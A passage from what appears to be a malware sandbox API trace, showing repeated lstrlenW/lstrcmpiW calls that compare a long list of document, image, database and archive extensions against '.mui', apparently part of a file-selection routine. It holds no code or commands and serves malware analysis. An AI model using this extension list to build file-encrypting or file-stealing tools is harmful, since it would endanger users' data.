returned -1 [0213.423] lstrlenW (lpString=".elf") returned 4 [0213.423] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0213.423] lstrlenW (lpString=".emf") returned 4 [0213.423] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0213.423] lstrlenW (lpString=".emz") returned 4 [0213.423] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0213.424] lstrlenW (lpString=".epf") returned 4 [0213.424] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0213.424] lstrlenW (lpString=".eps") returned 4 [0213.424] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0213.424] lstrlenW (lpString=".epsf") returned 5 [0213.424] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0213.424] lstrlenW (lpString=".epsp") returned 5 [0213.424] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0213.424] lstrlenW (lpString=".erf") returned 4 [0213.424] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0213.424] lstrlenW (lpString=".exr") returned 4 [0213.425] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0213.425] lstrlenW (lpString=".f4v") returned 4 [0213.425] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0213.425] lstrlenW (lpString=".fido") returned 5 [0213.425] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0213.425] lstrlenW (lpString=".flm") returned 4 [0213.426] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0213.426] lstrlenW (lpString=".flv") returned 4 [0213.426] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0213.426] lstrlenW (lpString=".frm") returned 4 [0213.426] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0213.426] lstrlenW (lpString=".fxg") returned 4 [0213.426] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0213.426] lstrlenW (lpString=".geo") returned 4 [0213.426] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0213.426] lstrlenW (lpString=".gif") returned 4 [0213.426] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0213.427] lstrlenW (lpString=".grs") returned 4 [0213.427] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0213.427] lstrlenW (lpString=".gz") returned 3 [0213.427] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0213.427] lstrlenW (lpString=".h") returned 2 [0213.428] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0213.428] lstrlenW (lpString=".hdr") returned 4 [0213.428] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0213.428] lstrlenW (lpString=".hpp") returned 4 [0213.428] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0213.428] lstrlenW (lpString=".hta") returned 4 [0213.428] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0213.428] lstrlenW (lpString=".htc") returned 4 [0213.428] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0213.428] lstrlenW (lpString=".htm") returned 4 [0213.429] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0213.429] lstrlenW (lpString=".html") returned 5 [0213.429] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0213.429] lstrlenW (lpString=".icb") returned 4 [0213.429] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0213.429] lstrlenW (lpString=".ics") returned 4 [0213.429] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0213.430] lstrlenW (lpString=".iff") returned 4 [0213.430] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0213.430] lstrlenW (lpString=".inc") returned 4 [0213.430] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0213.430] lstrlenW (lpString=".indd") returned 5 [0213.430] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0213.430] lstrlenW (lpString=".ini") returned 4 [0213.430] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0213.430] lstrlenW (lpString=".iqy") returned 4 [0213.430] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0213.430] lstrlenW (lpString=".j2c") returned 4 [0213.431] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0213.431] lstrlenW (lpString=".j2k") returned 4 [0213.431] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0213.431] lstrlenW (lpString=".java") returned 5 [0213.431] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0213.431] lstrlenW (lpString=".jp2") returned 4 [0213.431] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0213.431] lstrlenW (lpString=".jpc") returned 4 [0213.431] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0213.431] lstrlenW (lpString=".jpe") returned 4 [0213.432] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0213.432] lstrlenW (lpString=".jpeg") returned 5 [0213.432] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0213.432] lstrlenW (lpString=".jpf") returned 4 [0213.432] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0213.432] lstrlenW (lpString=".jpg") returned 4 [0213.432] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0213.432] lstrlenW (lpString=".jpx") returned 4 [0213.432] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0213.432] lstrlenW (lpString=".js") returned 3 [0213.432] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0213.432] lstrlenW (lpString=".jsf") returned 4 [0213.432] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0213.433] lstrlenW (lpString=".json") returned 5 [0213.433] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0213.433] lstrlenW (lpString=".jsp") returned 4 [0213.433] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0213.433] lstrlenW (lpString=".kdc") returned 4 [0213.433] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0213.433] lstrlenW (lpString=".kmz") returned 4 [0213.433] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0213.433] lstrlenW (lpString=".kwm") returned 4 [0213.433] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0213.433] lstrlenW (lpString=".lasso") returned 6 [0213.434] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0213.434] lstrlenW (lpString=".lbi") returned 4 [0213.434] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0213.434] lstrlenW (lpString=".lgf") returned 4 [0213.434] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0213.434] lstrlenW (lpString=".lgp") returned 4 [0213.434] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0213.434] lstrlenW (lpString=".log") returned 4 [0213.434] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0213.434] lstrlenW (lpString=".m1v") returned 4 [0213.434] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0213.434] lstrlenW (lpString=".m4a") returned 4 [0213.435] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0213.435] lstrlenW (lpString=".m4v") returned 4 [0213.435] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0213.435] lstrlenW (lpString=".max") returned 4 [0213.435] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0213.435] lstrlenW (lpString=".md") returned 3 [0213.435] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0213.435] lstrlenW (lpString=".mda") returned 4 [0213.435] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0213.435] lstrlenW (lpString=".mdb") returned 4 [0213.435] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0213.435] lstrlenW (lpString=".mde") returned 4 [0213.436] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0213.436] lstrlenW (lpString=".mdf") returned 4 [0213.436] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0213.436] lstrlenW (lpString=".mdw") returned 4 [0213.436] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0213.436] lstrlenW (lpString=".mef") returned 4 [0213.436] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0214.422] lstrlenW (lpString=".mft") returned 4 [0214.422] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0214.422] lstrlenW (lpString=".mfw") returned 4 [0214.422] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0214.422] lstrlenW (lpString=".mht") returned 4 [0214.422] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0214.422] lstrlenW (lpString=".mhtml") returned 6 [0214.422] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0214.422] lstrlenW (lpString=".mka") returned 4 [0214.422] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0214.422] lstrlenW (lpString=".mkidx") returned 6 [0214.423] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0214.423] lstrlenW (lpString=".mkv") returned 4 [0214.423] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0214.423] lstrlenW (lpString=".mos") returned 4 [0214.423] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0214.423] lstrlenW (lpString=".mov") returned 4 [0214.423] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0214.423] lstrlenW (lpString=".mp3") returned 4 [0214.423] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0214.423] lstrlenW (lpString=".mp4") returned 4 [0214.423] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0214.423] lstrlenW (lpString=".mpeg") returned 5 [0214.423] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0214.423] lstrlenW (lpString=".mpg") returned 4 [0214.424] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0214.424] lstrlenW (lpString=".mpv") returned 4 [0214.424] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0214.424] lstrlenW (lpString=".mrw") returned 4 [0214.424] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0214.424] lstrlenW (lpString=".msg") returned 4 [0214.424] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0214.424] lstrlenW (lpString=".mxl") returned 4 [0214.424] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0214.424] lstrlenW (lpString=".myd") returned 4 [0214.424] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0214.424] lstrlenW (lpString=".myi") returned 4 [0214.424] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0214.424] lstrlenW (lpString=".nef") returned 4 [0214.425] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".nrw") returned 4 [0214.425] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".obj") returned 4 [0214.425] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".odb") returned 4 [0214.425] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".odc") returned 4 [0214.425] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".odm") returned 4 [0214.425] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0214.425] lstrlenW (lpString=".odp") returned 4 [0214.426] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0214.426] lstrlenW (lpString=".ods") returned 4 [0214.426] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0214.426] lstrlenW (lpString=".oft") returned 4 [0214.426] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0214.426] lstrlenW (lpString=".one") returned 4 [0214.426] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0214.426] lstrlenW (lpString=".onepkg") returned 7 [0214.426] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0214.426] lstrlenW (lpString=".onetoc2") returned 8 [0214.426] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0214.426] lstrlenW (lpString=".opt") returned 4 [0214.426] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0214.426] lstrlenW (lpString=".oqy") returned 4 [0214.428] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0214.428] lstrlenW (lpString=".orf") returned 4 [0214.428] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0214.428] lstrlenW (lpString=".p12") returned 4 [0214.428] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0214.428] lstrlenW (lpString=".p7b") returned 4 [0214.428] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0214.428] lstrlenW (lpString=".p7c") returned 4 [0214.428] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0214.428] lstrlenW (lpString=".pam") returned 4 [0214.429] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0214.429] lstrlenW (lpString=".pbm") returned 4 [0214.429] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0214.429] lstrlenW (lpString=".pct") returned 4 [0214.429] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0214.429] lstrlenW (lpString=".pcx") returned 4 [0214.429] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0214.430] lstrlenW (lpString=".pdd") returned 4 [0214.430] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0214.430] lstrlenW (lpString=".pdf") returned 4 [0214.430] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0214.430] lstrlenW (lpString=".pdp") returned 4 [0214.430] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0214.430] lstrlenW (lpString=".pef") returned 4 [0214.431] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0214.431] lstrlenW (lpString=".pem") returned 4 [0214.431] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0214.431] lstrlenW (lpString=".pff") returned 4 [0214.431] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0214.431] lstrlenW (lpString=".pfm") returned 4 [0214.431] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0214.431] lstrlenW (lpString=".pfx") returned 4 [0214.431] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0214.432] lstrlenW (lpString=".pgm") returned 4 [0214.432] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0214.432] lstrlenW (lpString=".php") returned 4 [0214.432] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0214.432] lstrlenW (lpString=".php3") returned 5 [0214.432] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0214.432] lstrlenW (lpString=".php4") returned 5 [0214.432] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0214.432] lstrlenW (lpString=".php5") returned 5 [0214.432] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0214.432] lstrlenW (lpString=".phtml") returned 6 [0214.432] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0214.432] lstrlenW (lpString=".pict") returned 5 [0214.433] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0214.433] lstrlenW (lpString=".pl") returned 3 [0214.433] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0214.433] lstrlenW (lpString=".pls") returned 4 [0214.433] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0214.433] lstrlenW (lpString=".pm") returned 3 [0214.433] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0214.433] lstrlenW (lpString=".png") returned 4 [0214.433] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0214.433] lstrlenW (lpString=".pnm") returned 4 [0214.433] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0214.434] lstrlenW (lpString=".pot") returned 4 [0214.434] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0214.434] lstrlenW (lpString=".potm") returned 5 [0214.434] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0214.434] lstrlenW (lpString=".potx") returned 5 [0214.434] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0214.434] lstrlenW (lpString=".ppa") returned 4 [0214.434] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0214.434] lstrlenW (lpString=".ppam") returned 5 [0214.434] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0214.434] lstrlenW (lpString=".ppm") returned 4 [0214.434] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0214.435] lstrlenW (lpString=".pps") returned 4 [0214.435] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0214.435] lstrlenW (lpString=".ppsm") returned 5 [0214.435] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0214.435] lstrlenW (lpString=".ppt") returned 4 [0214.435] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0214.435] lstrlenW (lpString=".pptm") returned 5 [0214.435] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0214.435] lstrlenW (lpString=".pptx") returned 5 [0214.435] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0214.435] lstrlenW (lpString=".prn") returned 4 [0214.436] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0214.436] lstrlenW (lpString=".ps") returned 3 [0214.436] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0214.436] lstrlenW (lpString=".psb") returned 4 [0214.436] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0214.436] lstrlenW (lpString=".psd") returned 4 [0214.436] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0214.436] lstrlenW (lpString=".pst") returned 4 [0214.436] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0214.436] lstrlenW (lpString=".ptx") returned 4 [0214.436] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0214.437] lstrlenW (lpString=".pub") returned 4 [0214.437] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0214.449] lstrlenW (lpString=".pwm") returned 4 [0214.449] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0214.449] lstrlenW (lpString=".pxr") returned 4 [0214.449] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0214.450] lstrlenW (lpString=".py") returned 3 [0214.450] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0214.450] lstrlenW (lpString=".qt") returned 3 [0214.450] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0214.450] lstrlenW (lpString=".r3d") returned 4 [0214.450] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0214.451] lstrlenW (lpString=".raf") returned 4 [0214.451] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0214.451] lstrlenW (lpString=".rar") returned 4 [0214.451] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0214.451] lstrlenW (lpString=".raw") returned 4 [0214.451] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0214.452] lstrlenW (lpString=".rdf") returned 4 [0214.452] lstrcmpiW (lpString1=".rdf", lpString2=".mui") returned 1 [0214.452] lstrlenW (lpString=".rgbe") returned 5 [0214.452] lstrcmpiW (lpString1=".rgbe", lpString2="l.mui") returned -1 [0214.452] lstrlenW (lpString=".rle") returned 4 [0214.452] lstrcmpiW (lpString1=".rle", lpString2=".mui") returned 1 [0214.452] lstrlenW (lpString=".rqy") returned 4 [0214.452] lstrcmpiW (lpString1=".rqy", lpString2=".mui") returned 1 [0214.452] lstrlenW (lpString=".rss") returned 4 [0214.452] lstrcmpiW (lpString1=".rss", lpString2=".mui") returned 1 [0214.452] lstrlenW (lpString=".rtf") returned 4 [0214.452] lstrcmpiW (lpString1=".rtf", lpString2=".mui") returned 1 [0214.453] lstrlenW (lpString=".rw2") returned 4 [0214.453] lstrcmpiW (lpString1=".rw2", lpString2=".mui") returned 1 [0214.453] lstrlenW (lpString=".rwl") returned 4 [0214.453] lstrcmpiW (lpString1=".rwl", lpString2=".mui") returned 1 [0214.453] lstrlenW (lpString=".safe") returned 5 [0214.453] lstrcmpiW (lpString1=".safe", lpString2="l.mui") returned -1 [0214.453] lstrlenW (lpString=".sct") returned 4 [0214.453] lstrcmpiW (lpString1=".sct", lpString2=".mui") returned 1 [0214.453] lstrlenW (lpString=".sdpx") returned 5 [0214.453] lstrcmpiW (lpString1=".sdpx", lpString2="l.mui") returned -1 [0214.453] lstrlenW (lpString=".shtm") returned 5 [0214.453] lstrcmpiW (lpString1=".shtm", lpString2="l.mui") returned -1 [0214.453] lstrlenW (lpString=".shtml") returned 6 [0214.454] lstrcmpiW (lpString1=".shtml", lpString2="ll.mui") returned -1 [0214.454] lstrlenW (lpString=".slk") returned 4 [0214.454] lstrcmpiW (lpString1=".slk", lpString2=".mui") returned 1 [0214.454] lstrlenW (lpString=".sln") returned 4 [0214.454] lstrcmpiW (lpString1=".sln", lpString2=".mui") returned 1 [0214.454] lstrlenW (lpString=".sql") returned 4 [0214.454] lstrcmpiW (lpString1=".sql", lpString2=".mui") returned 1 [0214.455] lstrlenW (lpString=".sr2") returned 4 [0214.455] lstrcmpiW (lpString1=".sr2", lpString2=".mui") returned 1 [0214.455] lstrlenW (lpString=".srf") returned 4 [0214.455] lstrcmpiW (lpString1=".srf", lpString2=".mui") returned 1 [0214.455] lstrlenW (lpString=".srw") returned 4 [0214.455] lstrcmpiW (lpString1=".srw", lpString2=".mui") returned 1 [0214.455] lstrlenW (lpString=".ssi") returned 4 [0214.455] lstrcmpiW (lpString1=".ssi", lpString2=".mui") returned 1 [0214.455] lstrlenW (lpString=".st") returned 3 [0214.455] lstrcmpiW (lpString1=".st", lpString2="mui") returned -1 [0214.455] lstrlenW (lpString=".stm") returned 4 [0214.455] lstrcmpiW (lpString1=".stm", lpString2=".mui") returned 1 [0214.456] lstrlenW (lpString=".svg") returned 4 [0214.456] lstrcmpiW (lpString1=".svg", lpString2=".mui") returned 1 [0214.456] lstrlenW (lpString=".svgz") returned 5 [0214.456] lstrcmpiW (lpString1=".svgz", lpString2="l.mui") returned -1 [0214.456] lstrlenW (lpString=".swf") returned 4 [0214.456] lstrcmpiW (lpString1=".swf", lpString2=".mui") returned 1 [0214.456] lstrlenW (lpString=".tab") returned 4 [0214.456] lstrcmpiW (lpString1=".tab", lpString2=".mui") returned 1 [0214.456] lstrlenW (lpString=".tar") returned 4 [0214.456] lstrcmpiW (lpString1=".tar", lpString2=".mui") returned 1 [0214.456] lstrlenW (lpString=".tbb") returned 4 [0214.456] lstrcmpiW (lpString1=".tbb", lpString2=".mui") returned 1 [0214.457] lstrlenW (lpString=".tbi") returned 4 [0214.457] lstrcmpiW (lpString1=".tbi", lpString2=".mui") returned 1 [0214.457] lstrlenW (lpString=".tbk") returned 4 [0214.459] lstrcmpiW (lpString1=".tbk", lpString2=".mui") returned 1 [0214.459] lstrlenW (lpString=".tdi") returned 4 [0214.459] lstrcmpiW (lpString1=".tdi", lpString2=".mui") returned 1 [0214.459] lstrlenW (lpString=".tga") returned 4 [0214.459] lstrcmpiW (lpString1=".tga", lpString2=".mui") returned 1 [0214.459] lstrlenW (lpString=".thmx") returned 5 [0214.459] lstrcmpiW (lpString1=".thmx", lpString2="l.mui") returned -1 [0214.459] lstrlenW (lpString=".tif") returned 4 [0214.459] lstrcmpiW (lpString1=".tif", lpString2=".mui") returned 1 [0214.459] lstrlenW (lpString=".tiff") returned 5 [0214.459] lstrcmpiW (lpString1=".tiff", lpString2="l.mui") returned -1 [0214.459] lstrlenW (lpString=".tld") returned 4 [0214.460] lstrcmpiW (lpString1=".tld", lpString2=".mui") returned 1 [0214.460] lstrlenW (lpString=".torrent") returned 8 [0214.460] lstrcmpiW (lpString1=".torrent", lpString2=".dll.mui") returned 1 [0214.460] lstrlenW (lpString=".tpl") returned 4 [0214.460] lstrcmpiW (lpString1=".tpl", lpString2=".mui") returned 1 [0214.460] lstrlenW (lpString=".txt") returned 4 [0214.460] lstrcmpiW (lpString1=".txt", lpString2=".mui") returned 1 [0214.460] lstrlenW (lpString=".u3d") returned 4 [0214.461] lstrcmpiW (lpString1=".u3d", lpString2=".mui") returned 1 [0214.461] lstrlenW (lpString=".udl") returned 4 [0214.461] lstrcmpiW (lpString1=".udl", lpString2=".mui") returned 1 [0214.461] lstrlenW (lpString=".uxdc") returned 5 [0214.461] lstrcmpiW (lpString1=".uxdc", lpString2="l.mui") returned -1 [0214.461] lstrlenW (lpString=".vb") returned 3 [0214.461] lstrcmpiW (lpString1=".vb", lpString2="mui") returned -1 [0214.461] lstrlenW (lpString=".vbs") returned 4 [0214.461] lstrcmpiW (lpString1=".vbs", lpString2=".mui") returned 1 [0214.461] lstrlenW (lpString=".vcs") returned 4 [0214.462] lstrcmpiW (lpString1=".vcs", lpString2=".mui") returned 1 [0214.462] lstrlenW (lpString=".vda") returned 4 [0214.462] lstrcmpiW (lpString1=".vda", lpString2=".mui") returned 1 [0214.462] lstrlenW (lpString=".vdr") returned 4 [0214.462] lstrcmpiW (lpString1=".vdr", lpString2=".mui") returned 1 [0214.462] lstrlenW (lpString=".vdw") returned 4 [0214.462] lstrcmpiW (lpString1=".vdw", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vdx") returned 4 [0214.463] lstrcmpiW (lpString1=".vdx", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vrp") returned 4 [0214.463] lstrcmpiW (lpString1=".vrp", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vsd") returned 4 [0214.463] lstrcmpiW (lpString1=".vsd", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vss") returned 4 [0214.463] lstrcmpiW (lpString1=".vss", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vst") returned 4 [0214.463] lstrcmpiW (lpString1=".vst", lpString2=".mui") returned 1 [0214.463] lstrlenW (lpString=".vsw") returned 4 [0214.464] lstrcmpiW (lpString1=".vsw", lpString2=".mui") returned 1 [0214.464] lstrlenW (lpString=".vsx") returned 4 [0214.464] lstrcmpiW (lpString1=".vsx", lpString2=".mui") returned 1 [0214.464] lstrlenW (lpString=".vtm") returned 4 [0214.464] lstrcmpiW (lpString1=".vtm", lpString2=".mui") returned 1 [0214.464] lstrlenW (lpString=".vtml") returned 5 [0214.465] lstrcmpiW (lpString1=".vtml", lpString2="l.mui") returned -1 [0214.465] lstrlenW (lpString=".vtx") returned 4 [0214.465] lstrcmpiW (lpString1=".vtx", lpString2=".mui") returned 1 [0214.465] lstrlenW (lpString=".wb2") returned 4 [0214.465] lstrcmpiW (lpString1=".wb2", lpString2=".mui") returned 1 [0214.465] lstrlenW (lpString=".wav") returned 4 [0214.465] lstrcmpiW (lpString1=".wav", lpString2=".mui") returned 1 [0214.465] lstrlenW (lpString=".wbm") returned 4 [0214.465] lstrcmpiW (lpString1=".wbm", lpString2=".mui") returned 1 [0214.465] lstrlenW (lpString=".wbmp") returned 5 [0214.465] lstrcmpiW (lpString1=".wbmp", lpString2="l.mui") returned -1 [0214.466] lstrlenW (lpString=".wim") returned 4 [0214.466] lstrcmpiW (lpString1=".wim", lpString2=".mui") returned 1 [0214.466] lstrlenW (lpString=".wmf") returned 4 [0214.466] lstrcmpiW (lpString1=".wmf", lpString2=".mui") returned 1 [0214.466] lstrlenW (lpString=".wml") returned 4 [0214.466] lstrcmpiW (lpString1=".wml", lpString2=".mui") returned 1 [0214.467] lstrlenW (lpString=".wmv") returned 4 [0214.467] lstrcmpiW (lpString1=".wmv", lpString2=".mui") returned 1 [0214.467] lstrlenW (lpString=".wpd") returned 4 [0214.467] lstrcmpiW (lpString1=".wpd", lpString2=".mui") returned 1 [0214.467] lstrlenW (lpString=".wps") returned 4 [0214.467] lstrcmpiW (lpString1=".wps", lpString2=".mui") returned 1 [0214.467] lstrlenW (lpString=".x3f") returned 4 [0214.467] lstrcmpiW (lpString1=".x3f", lpString2=".mui") returned 1 [0214.467] lstrlenW (lpString=".xl") returned 3 [0214.467] lstrcmpiW (lpString1=".xl", lpString2="mui") returned -1 [0214.467] lstrlenW (lpString=".xla") returned 4 [0214.468] lstrcmpiW (lpString1=".xla", lpString2=".mui") returned 1 [0214.468] lstrlenW (lpString=".xlam") returned 5 [0214.468] lstrcmpiW (lpString1=".xlam", lpString2="l.mui") returned -1 [0214.468] lstrlenW (lpString=".xlk") returned 4 [0214.468] lstrcmpiW (lpString1=".xlk", lpString2=".mui") returned 1 [0214.468] lstrlenW (lpString=".xlm") returned 4 [0214.469] lstrcmpiW (lpString1=".xlm", lpString2=".mui") returned 1 [0214.469] lstrlenW (lpString=".xls") returned 4 [0214.469] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0214.469] lstrlenW (lpString=".xlsb") returned 5 [0214.469] lstrcmpiW (lpString1=".xlsb", lpString2="l.mui") returned -1 [0214.469] lstrlenW (lpString=".xlsm") returned 5 [0214.469] lstrcmpiW (lpString1=".xlsm", lpString2="l.mui") returned -1 